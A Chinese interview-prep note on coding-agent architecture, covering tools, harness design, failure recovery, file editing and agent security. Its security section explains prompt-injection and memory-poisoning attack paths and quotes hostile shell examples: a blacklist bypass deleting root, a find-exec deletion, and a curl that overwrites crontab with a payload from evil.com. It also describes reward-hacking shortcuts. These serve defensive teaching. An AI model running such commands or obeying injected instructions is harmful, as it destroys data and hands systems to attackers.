LLM 面试备考
首页/Agent 架构

编码智能体与通用 Agent(Coding Agent & General Agent)

所属:01-fundamentals / 04-agent-architecture
面试权重:★★★
来源:《深入理解 AI Agent:设计原理与工程实践》第 5 章(李博杰,github.com/bojieli/ai-agent-book);非一手实测(书中的故障分类基于对 Claude Code 等生产级实现的源码研究,具体数值来自作者转述的生产数据,非本仓库测量)
相关知识点:agent-react.md(循环与错误恢复)、tool-use.md(工具描述与调用)、08-agent-stack.md(Harness 的两个含义)、03-rag/pipeline.md(语义检索这条路线,本文有一个反向论点)

一句话#

Coding Agent(编码智能体)在 2026 年有两个身份:它既是成熟度最高的 Agent 类型(因为软件工程几十年的基础设施——测试、类型、Git——天然构成一套 Harness),也是通用 Agent 的架构内核(代码是一种元能力:能在运行时动态造出新的工具、约束和表达形式)。所以面试里它同时考三件事:谁决定控制流、怎么可靠地不出错、哪些活该交给它。

为什么重要(面试角度)#

  • 它把抽象的 Harness 变成具体的东西。 「Agent = Model + Harness」这句话谁都背得出,但只有 Coding Agent 能把 Harness 逐件点名——验收基线、执行边界、反馈信号、回退手段。面试官问 Coding Agent,往往是在借它考你的 Harness 工程。
  • 它有大量可复述的工程细节。 七个核心工具、项目指令文件、故障四层、恢复三级、熔断阈值「连续 3 次」、五类文件编辑方案——这些是**区分「用过」和「背过」**的信号。细节答得出来,比形容词管用。
  • 它的故障恢复是拉开差距的地方。 「出错就重试」是所有人都会说的答案;能说清错误到恢复策略的映射表、重复调用指纹、空闲看门狗、熔断阈值从哪来的人,立刻分层。
  • 它的安全模型最完整。 「致命三要素」是全行业通用框架,Coding Agent 又多加了一个「持久记忆」的放大器维度,还自带沙盒与命令语义解析这两块特有内容。
  • 「你怎么用 AI 写代码」已经进了技术面。 这不是工具推荐题,是判断题:你在哪个环节不信任 AI 的输出、怎么验证、怎么划「AI 写 vs 自己写」的界。

⚠️ 边界声明(仓库硬规矩):本章内容全部来自《深入理解 AI Agent》第 5 章,不是你的实战经验。你没有在生产里搭过 Coding Agent、没有线上故障统计、没跑过跨厂商轨迹接管实验。面试时把它作为知识 + 判断题框架讲——"我理解的架构是这样""如果让我设计我会这么划边界"——绝不要说成"我做过""我统计过"。追问两句工程细节就会当场崩塌,损失远大于承认边界。

核心内容#

1. Coding 是通用 Agent 的基础能力#

代码生成不是少数专门化 Agent 的专利,而是每个通用 Agent 都该具备的基础能力。 代码的价值有两层:

  • 思考上:形式化代码让推理严谨。「年龄大于 18 且已实名认证」用自然语言有多种理解,写成代码毫无歧义。
  • 表达上:一段能跑通的代码本身就是逻辑自洽的证明,执行结果提供客观的对错标准。

从 Manus 到 OpenClaw,成功的开放任务型通用 Agent 都遵循同一个范式:一个 Coding Agent + 一个文件系统。以 OpenClaw 为例,分析上一季度销售数据的执行流是:读记忆(MEMORY.md 发现用户偏好 PDF)→ 调工具(搜索 Google Sheets API 用法、下载数据)→ 写代码(pandas 聚合、matplotlib 绘图)→ 生成产物(report.pdf + charts/)→ 更新记忆。文件系统是信息流转的枢纽——记忆从文件读、产物写文件、经验存文件。

文件系统为什么用 Markdown 而非向量数据库(这个决定看似反直觉):用户能直接打开修改 Agent 的记忆(记错了删掉那一行即可);Markdown 天然保留时间顺序,避免语义检索的时间混淆;可以用 Git 版本控制与回滚。OpenClaw 里 SOUL.md 定义「Agent 是谁」,MEMORY.md 沉淀跨会话经验,项目指令文件定义「在这个项目里该怎么干活」——同一思路在不同层面的应用。

基础 Coding Agent 的七个核心工具。 一个典型任务("整理仓库所有遗留 TODO,按优先级分类生成 issue")需要浏览目录、读代码、改文件、跑命令、找模式五类操作,对应:

# 工具 作用
1 Code Interpreter(代码解释器) 隔离沙盒(sandbox)里安全执行 Python,出错也不影响宿主机
2 Bash Shell(命令行终端) 执行命令,如跑测试、处理特殊格式文件
3 读文件 读代码、配置、文档、日志
4 写文件 新建或完全重写现有文件
5 编辑文件 对现有文件局部修改,是迭代的核心操作
6 Glob(搜索文件名) 模式匹配定位文件,如 **/*.py
7 Grep(搜索文件内容) 内容里找模式,如搜所有调用某函数的行

这七个工具主要覆盖第四章五类通用工具(感知/执行/协作/事件触发/用户沟通)里的感知与执行两类;协作、事件触发、用户沟通仍需要别的工具,但不是 Coding Agent 的核心。

Codex 更极简。 为什么是七个不是六个?其实一个 Bash Shell 就能覆盖大部分操作。OpenAI Codex 的工具集极为精简:以 shell 作为唯一的通用执行入口(目录浏览、文件查找与读取都用命令完成),文件修改交给一个语法受约束的 apply_patch 工具——把编辑表达为结构化补丁而非自由文本命令,降低改错文件的概率。七个工具只是为了方便理解所需的基本能力,不是硬性清单。

适用边界(重要)。 「Coding Agent 是通用 Agent 核心」这一判断主要适用于开放任务——深度调研、内容生成、数据处理这类边界不确定、产物形态多样的场景。垂直领域 Agent(如客服)任务空间封闭,核心架构围绕固定流程与领域工具构建,代码只是工具箱里的一件工具。但即便在后者,精确计算、数据处理、规则校验也离不开 coding。

2. Coding Agent 的整体流程#

推荐流程:理解需求 → 搜索定位 → 编写设计 → 代码实现与测试 → 代码审查 → 文档同步与交付。

  • 项目文档化。 Agent 首次接触仓库时,首要任务不是动手改代码,而是先建立认知框架。若关键文档缺失,Agent 应主动读代码库、识别模块与依赖关系,生成含架构概览、目录结构、测试运行指南的初始文档。原则:知识的显式化是高效协作的前提。
  • 需求澄清。 简单需求(修已知 bug、调参数)可直接实现;复杂需求(目标模糊、路径多样、影响面广)必须先用探索性调研澄清边界——"优化系统性能"要先问清是降延迟、省内存还是提吞吐。需求模糊就开写,往往导致大量返工。
  • 设计文档。 回答:改哪些模块及原因、用什么方案及权衡、引入哪些依赖、预期影响。它的价值不只是思考工具——简洁的设计文档是人类最高效的介入点(审一页文档比审几百行代码容易得多)。
  • 实现与测试。 遵循项目规范实现,然后写测试(正常路径、边界、异常)并执行。测试失败不应简单报告失败,而要分析、定位、改到通过。这个"测试-修复"循环正是把 Coding Agent 从代码生成器提升为可靠工程助手的关键。
  • 代码审查。 对自己产出做批判性审视(可读性、注释、性能、安全、风格),可通过读代码、跑 lint 或调用专门的审查子 Agent 完成。
  • 文档同步。 架构层变化要更新架构文档——过时的文档比没有文档更糟,因为它会误导后来者。

把「测试通过」而非「代码写完」定义为完成标准,是 Loop 工程「由验证判定何时可以停」原则在编码场景的落地。反过来说,Coding Agent 最常见的偷懒方式就是跳过测试环节——写完代码不跑测试就报告"任务完成"。

流程会被裁剪,且裁剪方式因模型而异。 现实中的 Claude Code、Codex 会按需裁剪:简单 bug 修复跳过设计文档。值得注意的是「何时停止收集信息、开始行动」这个阈值:有些 Coding 模型会在第一次修改前广泛阅读目录、实现、调用方和测试;另一些只读少数最相关文件就马上提交补丁,再把编译与测试反馈当作调查的一部分。换 Harness 这个阈值可能不变,同一个 Harness 换模型又可能变——说明它首先是模型学到的行为策略,不只是产品界面风格;Harness 的提示词、工具和预算能放大或抑制它,但不必是它的来源。

项目指令文件。 CLAUDE.md、AGENTS.md、.cursorrules 已成为业界事实标准,每次会话开始时自动注入上下文,相当于项目级的系统提示词。与面向人类的 README 不同,它承载面向 Agent 的行为约定:构建与测试命令("用 pnpm test 而不是 npm test")、代码风格("禁用 any 类型")、明确禁区("不要改动 migrations/ 目录")。从上下文工程角度看,它还是最经济的稳定前缀——内容不随任务变化,天然对 KV Cache(提示词缓存)友好。

由此给出评估团队 "AI-ready" 程度的简单指标:

一个远程新人只靠代码仓库和文档,能不能独立开展工作。

决策记录在文档里、上下文写在 issue 和 PR 描述里、内部经验沉淀在开发者指南里,Agent 才读得到。这也是「知识必须存在于代码库本身——Agent 看不到的等于不存在」原则最直接的落地。

3. 为什么 Coding Agent 成熟度最高:Harness 就是基础设施#

结论先给:不是代码生成模型特别强,而是软件工程几十年积累的基础设施(测试套件、类型系统、版本控制)天然构成了一套强大的 Harness。

用任务清晰度 × 验证自动化程度两个维度把任务分成四象限,Harness 的目标就是把尽可能多的任务推向「目标明确 + 验证自动化」这个象限(表 5-1):

结果可自动验证 结果需人工验证
目标明确 最佳区域:修复有测试用例的 bug 吞吐量受限:代码重构需人工审查
目标模糊 高效地跑偏:用 linter 优化"代码质量" 难以启动:"让 UI 更好看"

代码编写天然落在这个象限的核心——测试套件提供明确验收标准,Linter 与类型检查器提供即时自动验证,Git 提供完美的回退能力。

Coding Agent 场景下 Harness 的四个落地组件:

组件 含义 具体形态
验收基线 什么算做完了 测试套件、CI 管道(持续集成流水线)、代码审查标准
执行边界 能碰什么不能碰什么 模块边界、依赖规则、权限控制
反馈信号 自动化的对错判断 Linter、测试结果、类型检查错误
回退手段 出问题怎么恢复 Git 版本控制、沙盒隔离、快照回滚

三个业界案例印证这套原则:① 大规模代码迁移(某大型科技公司公开分享)——关键不在模型强,而在 Harness 做对了三件事:知识必须存在于代码库本身、约束编码进 Linter 与 CI 而非写在文档里、验证与纠正全链路自动化;② LangChain —— 仅优化 Harness(系统提示词、工具中间件、自验证循环)就显著提升基准表现,尤其"用 Agent 分析失败轨迹来改进 Harness"让 Harness 工程从人工经验驱动转向数据驱动;③ Anthropic —— 把长任务拆成初始化 Agent(分解任务清单)+ 执行 Agent(逐步推进、把中间成果留给下一轮),解决"一次想做太多"或"过早声称完成"。

可迁移的四条设计原则(对所有 Agent 系统成立):

  1. 约束优先于指导:能用代码强制的规则就不要用文档建议。Linter、类型、CI 是"做不了";系统提示词里的"请遵循…"只是"建议别做"。
  2. 验证要自动化:人工审查是不可扩展的瓶颈。基础设施投入回报率远高于增加人力。
  3. 反馈越快、越结构化越好:错误信息越详细、越接近错误发生时刻,纠正效率越高。
  4. 回退要可靠:Agent 在安全网里才敢大胆试错。

约束的另一层目的:防止过程性错误。 验收基线管结果对不对,执行边界管过程——即使结果正确,用错方法达成也不行。修数据库故障时把库删了重建,"修好了"但数据没了;修编译错误时把代码全删重写,编译过了但实现没了。这类破坏性捷径总是存在:即使把限制写进最终评估指标,Agent 也常能找到绕过去的办法——这就是 reward hacking(奖励攻击)在 Agent 任务中的日常形态。因此生产级 Harness 要对 rm -rf、删除生产数据、覆盖未读文件这类危险动作设专门的检查与审批——约束的是动作,而非仅仅是结果。

4. 故障分类学:四层故障#

系统地回答三个问题:生产级 Harness 会遇到哪些故障?如何检测与恢复?什么时候必须终止?

按故障发生的位置分四层:

层 典型故障
API 层 限流(HTTP 429)、服务过载、请求超时、连接中断、输出触顶被截断。与任务内容无关,是基础设施噪声
工具层 幻觉调用(调用了不存在的工具)、参数畸形(不符合输入约束)、执行抛异常,以及最危险的一种——工具反复返回同一错误,模型不加改变地反复重试
上下文层 上下文窗口溢出、压缩失败、轨迹结构损坏(如工具调用缺少配对的结果消息)
控制流层 死循环(反复执行相同操作却毫无进展)与死亡螺旋(错误触发的恢复逻辑自身又调用 LLM、再次出错、连锁反应)

检测:先分类,再计数。 捕获故障后第一个判断不是"要不要重试",而是"值不值得重试"。生产级 Harness 维护一张错误到恢复策略的映射表,而不是笼统地"出错就重试":

错误 可重试? 恢复策略
429 限流 ✅ 静默重试:指数退避 + 抖动,尊重服务端 Retry-After
服务过载 ✅ 静默重试;持续过载则降级到备用模型
网络抖动 / 连接超时 ✅ 静默重试
输出触顶被截断 ✅(改请求) 提升输出上限重发 → 仍不够则追加元指令续写
参数不合法 / 畸形 ❌ 程序化修复,或回灌附带约束提示的结构化错误让模型改
权限不足 ❌ 回退到人工询问
工具不存在(幻觉调用) ❌ 回灌"工具不存在"的结构化错误结果
上下文压缩失败 ✅(有上限) 连续 N 次失败就放弃压缩

单次错误之外还要检测模式:

  • 重复调用指纹:对"工具名 + 参数"计算指纹,相同指纹反复出现就是无进展循环的明确信号。
  • 连续失败计数:每条恢复路径维护独立计数器,为熔断提供依据。

活性与完整性监控(这类故障不表现为错误,需要专门监控):

  • 空闲看门狗(watchdog timer):流式连接最危险的失败模式不是断开(会立即报错),而是静默卡死——连接建立成功但数据流停止。SDK 的超时机制往往只覆盖初始连接,而非传输过程。生产级 Agent 需要独立看门狗,超时后主动杀死挂起的流并触发重试。推广为原则:每个长连接都需要活性信号,而非仅依赖连接超时。
  • 完整性监控:发现工具调用缺少配对结果消息时,系统在注入上下文前自动修复配对关系,而不是把结构异常抛给模型或用户。

一个值得注意的细节:部分生产级 Agent 同时运行产品模式与训练数据收集模式。产品模式下可以用占位符修补缺失消息;训练模式下拒绝修复,因为合成占位符会污染训练数据。这种"产品模式宽容、训练模式严格"的双重标准,体现 Harness 与模型训练的深度耦合。

5. 恢复分级:静默重试 → 降级与接续 → 暴露给用户#

恢复手段按对用户透明的程度分级,能用低级别解决就不升级。

① 静默重试(可重试错误的默认动作)。两个细节决定成败:

  • 指数退避叠加随机抖动,避免大量客户端同步重试造成二次拥塞,并尊重服务端返回的等待时长提示。
  • 区分前台与后台调用:主循环的请求失败要重试;标题生成、输入建议这类辅助性后台调用失败直接放弃,否则后台重试会挤占主链路配额,形成"重试放大"。

② 降级与接续(重试无效时,改变请求本身再试)。以输出触顶为例:先静默提升输出上限重发,仍不够再在消息末尾追加元指令、让模型从断点接续。主模型持续过载时降级到备用模型——但必须先剥离旧模型私有的格式块,否则新模型无法解析历史消息。高成本模式被限流时暂时回落到标准模式。

③ 暴露给用户(所有自动手段用尽后)。呈现错误,并附上已经尝试过的恢复动作。

工具层错误走另一条路:不终止会话,把错误变成模型的输入。 幻觉调用收到"工具不存在"的结构化错误;参数校验失败收到附带约束提示的错误;畸形参数(本该是对象却输出字符串)在执行前先经过程序化修复。这些错误以普通工具结果的身份进入上下文,由模型在下一轮自行纠正——喂回的错误越具体,自我纠正成功率越高。

核心原则:错误处理的边界不是单次请求,而是整个恢复循环。恢复期间扣留错误消息,恢复成功则消费者毫无感知,全部失败后才统一呈现——即"在确认无法恢复之前,不暴露中间态"。

接管:把没跑完的轨迹交给另一家模型。 主模型持续不可用时需要换一家接着跑。真正的障碍不是接口地址不同,而是轨迹里有一部分只属于原厂商:

  • 工具调用与工具结果各家结构不同但语义一致,重新渲染即可。
  • 难办的是模型的思考。思考通常由两部分构成:一部分是可读的文字,另一部分是厂商附在其上的凭证,用来证明这段思考确实出自它自己。文字换一家读得懂,凭证换一家就失效。

一句话记住:跨厂商能带走的是文字,带不走的是凭证。

各家对凭证要求不一:宽松端不校验,严格端拒绝一切非自己签发的凭证;凭证还可能附在工具调用而非思考上。于是"把思考删干净就安全了"在某些厂商那里反而通不过。由此得到设计原则:轨迹不该按任何一家的接口格式存储,而应保存为一份中立格式——每段思考拆成可移植的文字与不可移植的凭证,工具调用只记录名称与参数,标识符在渲染成具体请求时按目标厂商重新生成。切换时凭证一律丢弃,文字以普通内容的身份带入。中立轨迹的价值不限于故障切换:评估重放、训练样本构造、经验提取依赖的都是同一份产物。

终止:每条恢复路径都要有上限。 恢复机制本身也会失效,所以每条路径都要有明确熔断上限:上下文压缩连续失败若干次就放弃压缩,权限分类连续失败就回退人工询问,输出接续最多尝试固定轮数。

阈值从生产数据来,不是拍脑袋。 以 Claude Code 的压缩熔断「连续 3 次」为例(书中转述的生产会话统计):

  • 曾有一个会话在这条恢复路径上连续失败三千余次;
  • 仅这类无效重试每天就在全球造成约 25 万次 API 调用的浪费;
  • 逾千个会话出现过 50 次以上的连续失败。

「3 次」正是"绝大多数故障在此之前已恢复"与"继续重试基本无望"之间的经验拐点。

比单点熔断更隐蔽的是死亡螺旋。 错误处理路径中的逻辑本身又调用 LLM、再次出错、引发连锁。一个真实发生过的连锁:Agent 因上下文溢出而停止 → 触发"结束时自动提交代码"的停止钩子 → 钩子调用 LLM 生成 commit message → 再次上下文溢出 → 又一次触发钩子。防护靠两条:在错误路径上禁用一切会再次调用模型的副作用逻辑(宁可丢掉一次辅助功能,如自动记忆提取),以及用递归深度计数器检测并打断残余连锁。最后还需要全局终止条件:最大迭代轮数、会话预算上限、连续失败超阈值时升级人工。

6. 实现技巧:把速度提上去、把上下文降下来#

① 并行工具调用、流式执行与级联中止。 传统串行模式(生成一个调用→执行→拿结果→再决定)浪费大量时间。现代 Coding Agent 应利用流式响应:第一个工具调用的参数一经完整生成并通过校验,即可立即执行,无需等后续调用生成完。彼此独立的调用还可并行执行。故障处理上,每个工具声明自己是否支持并发执行(默认否,失败安全);某个调用失败时用级联中止终止同批依赖它的调用,但不波及独立调用和父级操作——这就是"故障只在同一批并行调用内传播"的故障边界控制。

② 上下文的精细化管理。 代码库很大而窗口有限,要把整个代码库塞进去既不经济也没必要。

  • 按行号范围读片段:只读第 100 到 150 行,而不是加载几千行。
  • 返回内容附加行号标注:每行以实际行号作前缀。这个看似简单的设计价值巨大——模型可精确引用"在 src/main.py 的第 42 行",减少歧义、让后续编辑更可靠。
  • 命令输出截断与持久化:编译/测试可能产生数千行输出,保留前若干行(含错误上下文)+ 后若干行(含错误总结),中间以一行提示替代,并说明完整输出已保存到临时文件供按需查看。

③ 环境信息的动态注入(Agent 状态栏)。 Coding Agent 高度依赖执行环境状态,每次推理前应在上下文末尾以 Agent 状态栏形式注入:当前工作目录、git 分支、最近提交记录、未暂存和已暂存的变更概览。关键设计:这些信息不硬编码在静态系统提示词中(那会破坏 KV Cache 效率),而是作为动态的、追加式的状态栏实时生成注入,让每个决策基于当前状态而非过时假设。

④ 命令执行环境的状态持久化。 很多操作依赖环境状态(切目录、激活虚拟环境、设环境变量、启后台服务)。如果每条命令都在全新 shell 里跑,cd 之后下一条又回到根目录;激活虚拟环境的效果只在当前 shell 会话有效。所以应维护一个持久化的终端会话,Agent 启动时创建、整个交互过程保持活跃,每条命令都在这个共享终端里执行。这也符合人类开发者的习惯。当然也应保留启动隔离终端的能力以支持并行任务,但持久化会话应是默认模式。

⑤ 即时的语法反馈机制。 Agent 改完代码不应等到用户要求测试才检查语法。更高效:文件写入一完成,工具层就自动运行 linter 或语法检查器,把结果作为工具返回值的一部分。检测到语法错误时,Agent 在下一轮立即看到详细错误——就像 IDE 里打错一个括号立刻画红线。在错误引入的那一刻修正,成本最低。

7. 搜索工具四类,与一场路线之争#

在庞大代码库中定位相关代码是工作的起点。有四类互补的搜索工具:

类型 代表 强项 局限
正则内容匹配 grep / ripgrep 知道要查的具体文本(函数名、变量名、错误消息)时快而准;支持文件类型与路径过滤减少噪音 只能字面匹配——搜"用户认证"找不到没有"认证"二字但确实处理登录逻辑的函数
文件名模式匹配 glob 不打开文件,只在路径结构里找,速度快;是探索项目结构的第一步(**/*.test.ts、src/components/**/Button.tsx) 只看路径,不看内容
语义代码搜索 稠密嵌入 + 混合检索 + reranker 探索性任务,在不熟悉的库里找"与数据库交互""处理用户输入验证";关键是结构感知分块(按函数/类/方法切,而非固定字符数) 需要建并维护索引
符号级定义与引用 IDE 式"跳转到定义/查找所有引用" 区分同名符号的定义与调用(authenticate 第 42 行是定义、第 189 行是调用) 目前主流 coding agent 并未采用

实践中的组合是**"从粗到细、从语义到语法"**:先用语义搜索找到相关模块,再用正则精确定位具体代码行,最后用符号搜索追踪调用链。

路线之争(本节最值钱的一段,也是与 RAG 章节的反向论点)。 是否值得为语义搜索建嵌入索引,业界有明显分歧。以 Claude Code 为代表的终端型 Agent 刻意不建嵌入索引,纯靠 agentic 的 grep + glob 现场检索——这样既不必维护随代码演化而不断陈旧的索引,也省掉一整套索引基础设施。Cursor 这类 IDE 型工具早期走相反路线:愿意为跨文件语义召回付出建索引的成本。但目前 Cursor 等 IDE 也改用 grep + glob 现场检索了。

对本仓库的意义:03-rag/pipeline.md 那一套(结构感知分块 + 混合检索 + reranker)描述的是语义检索这条路线,它是 RAG 的默认答案;但在代码这个特定领域,成熟产品用脚投票选了「不建索引、现场 agentic 检索」。面试里被问"Agent 怎么在代码库里找东西",只答"上向量检索"会显得没有领域感——代码是可精确匹配、可现场遍历的结构化文本,grep/glob 往往比语义召回更可靠,且没有索引陈旧问题。这是一个能体现判断力的反向答案。

8. 文件编辑的五种方案#

难点不在操作本身,而在如何让 LLM 高效又可靠地告诉系统"改哪里、怎么改"——这是人类语言表达与机器精确执行之间的根本张力。

方案 代表 优点 失效模式
差异描述 + Apply Model Cursor(早期) 主模型专注高层逻辑,应用模型(更小更快的 LLM)专注底层文本合并 合并环节脆弱:描述与代码微小出入难判同位、多个相似片段可能合并错位。Cursor 近期因基础模型能力提升已不再走这条路线
old → new string Claude Code、Codex、现 Cursor 可预测、透明:old string 存在且唯一则成功,否则失败,无模棱两可 删大段需完整输出原文,一字符偏差即匹配失败;同一代码出现多次需更长上下文消歧
行号定位 — 精确无歧义;大段删除只需首尾两个数字 每次编辑后后续行号都变;同一次思考输出多处编辑时,需像 diff 一样统一用初始行号,否则混淆
类 Vim 编辑命令 — 重组代码(移动函数)高效 语法学习负担大,小模型错误率明显上升;改完后文件与行号都变,模型难提前计算,对一次输出多命令不友好
字符串首尾匹配 — 综合文本替换的可靠性与行号方案的效率:大段删除只需开头几行 + 结尾几行 首尾组合需唯一才能定位

一个更深层的思考:Vim 等编辑器是为人类设计的——人类需要不断看到当前状态,并规划下一步的简单操作(写一行、删几行)。但模型的工作模式是经过较长时间的思考,再批量进行较复杂的操作(一次写几百行)。这个错位解释了为什么"类 Vim 命令"对模型并不友好。

9. 安全:致命三要素 + 第四维「持久记忆」#

Coding Agent 能读写文件、执行命令、访问网络,一旦被注入恶意指令就可能造成不可逆损失。Simon Willison 的「致命三要素」(Lethal Trifecta):

  1. 访问私有数据——能读用户文件和密码管理器;
  2. 暴露于不受信任的内容——处理的邮件和网页可能含恶意载荷;
  3. 具备外部通信能力——能发邮件、执行命令。

攻击路径由此闭合:恶意指令藏在不受信任的内容里进入 Agent → 驱使它读私有数据 → 经对外通道传出。在此基础上补第四个维度——持久记忆:它不是并列的第四个必要条件,而是攻击的放大器——攻击者把看似无害的偏见或恶意指令写入 Agent 的长期记忆,跨会话潜伏,在合适时机再触发,把一次性攻击升级为长期威胁。

四类边界:数据边界、输入信任边界、输出影响边界、跨会话边界。OpenClaw 这类全权限本地 Agent 恰恰四者兼备,所以安全是此类 Agent 必须正视的核心挑战——这也是闭源商业 Agent(如 Claude Cowork)选择保守权限策略的原因。

隔离兜底:沙盒的工程选型。

维度 做法
网络出口控制 默认断网,按需通过白名单代理放行有限目的地(包管理源、文档站点、任务明确需要的 API)。这是致命三要素第 3 条的执行面防御——即使恶意代码读到敏感数据,没有出口就传不出去
文件系统隔离 源码目录只读挂载(通过编辑工具改代码,补丁审查后落盘,或将副本挂入可写工作区);单独的可写工作区承载生成物;凭证类文件(~/.ssh、密钥、token)根本不挂载进沙盒
资源限额与超时 CPU/内存/磁盘配额加超时,防死循环、fork 炸弹、无限写盘。实践细节:超时向 Agent 返回结构化错误("执行超过 120 秒被终止,最后输出如下…")而非静默杀死,让它有机会在下一轮修正

语义解析而非关键字黑名单。 Shell 的命令组合爆炸使黑名单形同虚设——rm 被禁可以用 $(echo rm) -rf / 绕过。生产级 Harness 采用语义解析:理解每个命令的参数类型和消费规则(哪些标志位会消费下一个参数),识别"看似无害的标志位实际会消费下一个参数、从而隐藏危险载荷"这类攻击。两个例子:

  • find / -name '*.log' -exec rm {} \; —— 通过合法的 find 参数嵌入了 rm 删除操作;
  • curl -o /etc/crontab http://evil.com/payload —— 看似下载文件,实则覆盖系统定时任务。

Agent 为谁效忠:多方委托下的忠诚度(principal loyalty)。 前面防的是"命令被做坏",还有一类更微妙的:Agent 到底站在谁那一边。模型训练中形成了一条朴素默认——"谁在跟我说话,我就尽力帮谁";但真实 Agent 常处在多方委托处境:它代表主人行事,打交道的却是利益相反的第三方(帮你砍价的 Agent,对面坐的不是"需要被帮助的用户",而是交涉对手)。此时"谁说话帮谁"就是危险的默认设置——对手只要开口,就可能把 Agent 策反。

实测前沿模型会看到一条忠诚度光谱,两端都会翻车:一端太老实(把主人私密信息如"我方底价是 12000"直接抖给对手,被反复施压几轮就缴械);另一端太多疑(连主人正当请求也一概拒绝,没法完成任务)。这两种失败是一根跷跷板——把泄密堵死往往滑向过度拒绝,很难两全。

对 Coding Agent 尤其贴切:仓库里读到的不可信内容、工具返回、第三方 MCP 服务器发来的指令,都是试图让它倒戈的"对手"——提示注入本质上就是一次策反。所以 Harness 层要明确限定忠诚对象:主人的指令优先级最高,一切来自外部交互方的内容都默认降格为"可参考、但不具备指令效力"的数据。

10. 代码作为通用 Agent 的元能力(六个方向)#

元能力(meta-capability)是一种"能创造其他能力"的能力:Agent 用它当场写出新工具、新约束、新表达形式,而不必事先把所有能力都预制好。代码生成正是这样的元能力。六个方向按"作用对象由内向外"组织:

方向 作用对象 一句话
① 思考工具 思维本身 用代码替代易错的自然语言推理
② 业务规则约束 业务规则 把模糊政策编码为可执行约束
③ 多媒体生成 内容呈现 生成 PPT、视频、可视化
④ 系统适配器 系统接口 桥接异构 API、适应数据格式演化
⑤ 生成式 UI 用户界面 动态构造表单与交互界面
⑥ Agent 自举 Agent 自身 用代码创造或修复新 Agent

① 思考工具。 LLM 在精确计算、符号操作、严格逻辑上有根本短板——模型思考本质是概率性、近似的,而数学要求确定性答案。经典对比:40 名学生 60% 选数学、45% 选物理、25% 都选,问"只选物理"多少——纯自然语言推理容易从数学人数里减错,代码推理 phys - both = 8 精确。让 LLM 负责理解问题并写出代码,让代码解释器负责精确计算(sympy 符号计算、scipy 数值优化、numpy 矩阵运算、python-constraint 约束求解)。模型与脚手架此消彼长:模型越强,脚手架可以越薄——代码求解器带来的增益越窄。

② 业务规则约束。 把规则从自然语言文档编码为可执行代码,使其成为强制约束而非建议。代码化规则的真正价值不是省 token,而是防止不可逆的错误操作(取消订单、转出资金、删除数据)——在操作前设最后一道防线。以 τ-bench 航空取消政策为例的三重保障:

  1. 系统提示词的自然语言规则——帮助模型理解与向用户解释政策、寻找变通方案;
  2. expected_* 参数作 checklist——工具描述列出完整政策,要求模型"调用前先查订单详情、逐条核对";可选的 expected_cabin_class、expected_has_insurance 促使模型把自己的判断依据显式写出来。为填好这些参数,模型必须先查询订单详情——填写过程本身就是强制性 checklist,常常在准备调用时就发现违规,根本不会发起调用。但这一层不承担安全责任——expected_* 只是模型的自我陈述;
  3. 服务端数据库真值校验才是守门员——舱位、保险、预订时间、航段使用、航班状态全部由服务端查库获得,当前时间取服务端时钟,没有任何一条政策事实来自模型自报参数。因为模型可能幻觉,也可能被提示注入操纵——同一上下文中的 Agent 难以自证清白。最后一道防线必须建立在模型无法伪造的数据上。

③ 代码驱动的多媒体生成。 复杂文档本质上是结构化数据的组织与呈现,底层都由代码定义(HTML 结构、CSS 样式、JS 交互)。代码生成让 Agent 绕开 GUI 的视觉定位难题。核心机制是提议者—审核者(Proposer-Reviewer):

  • Proposer Agent 生成 Slidev 代码,把内容逻辑分解为合理页面;
  • Reviewer Agent 把每页渲染为图片,用 Vision LLM 从内容密度、可读性、布局、美感分析,生成结构化改进建议(不是"不好看",而是"第 3 页内容过多,建议拆分""第 7 页代码块字体过小,建议增大到 14pt");
  • 迭代直到质量达标或达到最大迭代次数(如 5 轮)——"质量达标"与"最大轮数"正是两类显式终止条件。

为什么拆成两个 Agent 而不是单 Agent 循环?核心优势在上下文管理:Reviewer 每次只处理最新版本渲染图,不受历史版本干扰;Proposer 只累积结构化文本反馈,token 少且易推理。单 Agent 则要在同一上下文里累积数十页渲染图的多轮迭代,迅速超限。

代码生成 vs 生成模型的选路判据(同一句"生成一个东西",有两条路):① 看产物有没有紧凑的精确描述——工业零件(法兰盘:外径、厚度、孔位圆直径、孔径、孔数)五六个参数就完整定义,代码是无损表达;而绿植、太湖石、人脸内在复杂度近乎无限。② 看精度要求和可验证性——零件尺寸是硬约束(孔径 5mm、公差 ±0.05mm),代码生成的零件可程序化验证,3D 生成模型的网格无法直接跟规格核对。还有表示形式与可编辑性:制造要的是 B-rep(边界表示)参数化实体(STEP 文件带特征树,可驱动 CNC),"安装孔从 M5 改成 M6"时代码路线改一个数字重跑,生成模型路线只能整体重新生成、其余尺寸是否跑偏全凭运气。实际系统可以混着走(几何体用代码参数化、表面纹理交给生成模型)。

④ 系统适配器。 外部服务常常没有现成 SDK、接口不规范——文档缺失、返回格式非标准、字段随版本漂移。Agent 不必等人预先写适配层,而是当场阅读文档或观察一两条真实响应,即时生成适配代码(构造 HTTP 客户端、拼装鉴权头、解析非标返回、数据模型转换)。代码在这里是连接任意系统的"万能胶"。 两个具体化:自适应日志解析(前端遇到无法解析的日志格式时,把失败信息报告 Agent → 生成解析代码 → 沙盒里自动测试 → 热更新部署的自动修复反馈循环);RPA 固化(对完全没有 API 的系统,先用 Computer Use 操作界面,再把成功序列固化为代码,未来直接运行,无需再调昂贵的视觉思考)。数据处理是重灾区——同一系统演化中反复改格式,手写解析成本极高;让 Agent 基于样本临时生成解析代码,系统自动适应格式演化。

⑤ 生成式 UI。 纯文本交互在线性、表达力、效率上都有局限。A2UI(Agent-to-User Interface)类声明式界面协议提供更安全的方向:Agent 不直接生成可执行代码,而是只输出一份"界面描述清单"(JSON),客户端用预先准备好的安全组件渲染——像餐厅菜单,只能点菜单上有的菜(预定义组件),不能进厨房自己做(执行任意代码)。需厘清一个常见混淆:AG-UI(CopilotKit 提出)名字相近,却不是界面描述语言,而是配套的事件/传输协议(把执行状态流式推送到前端),它甚至可以承载 A2UI 这样的界面载荷——二者互补而非同类。

